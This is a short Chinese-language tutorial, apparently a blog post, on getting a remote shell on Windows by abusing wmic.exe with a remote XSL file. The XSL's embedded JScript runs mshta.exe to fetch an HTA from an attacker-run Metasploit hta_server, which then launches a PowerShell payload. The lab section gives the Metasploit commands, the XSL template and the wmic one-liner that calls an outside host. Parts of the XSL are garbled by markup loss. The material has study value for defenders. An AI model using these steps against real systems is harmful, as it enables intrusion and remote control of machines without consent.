利用WMIC获取系统Shell

什么是wmic ?

WMIC提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前,如果要管理WMI系统,必须使用一些专门的WMI应用,比如SMS,或者使用WMI的脚本编程API,或者使用象CIM Studio之类的工具。如果不熟悉C++之类的 编程语言或VBScript之类的 脚本语言,或者不掌握WMI 名称空间的基本知识,要使用WMI管理系统是很困难的。WMIC改变了这种情况,为WMI 名称空间提供了一个强大的、友好的命令行接口。

原理

利用wmic.exe下载远程XSL文件。其格式类似XML,其中包含一段JScript代码,可以调用WScript.Shell执行命令。

利用WScript.Shell运行mshta.exe,从远程下载hta文件(HTML Application,HTML应用程序)。该文件可以是一段VBScript,可以使用Wscript.Shell来调用powershell来执行Payload。

实验

打开MSF,配置相关payload

msfconsole
use exploit/
windows/misc/hta_server
exploit

复制以下模板XSL文件,修改其中hta文件的地址为上图中的地址即可。

'1.0'?>
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
"text"/>
 "user" language="JScript">
  var r = new ActiveXObject("WScript.Shell").Run("mshta.exe http://192.168.123.43:8080/OtUpxMXOEhocL.hta");
 ]]> 

将上面文件保存为xsl文件,并放到apache根目录/var/www/html

然后在Windows中执行下面命令

wmic os get /format:"http://192.168.123.173/22.xsl"

这时,便在msf中得到了会话。

更多精彩文章 欢迎关注我们

请使用浏览器的分享功能分享到微信等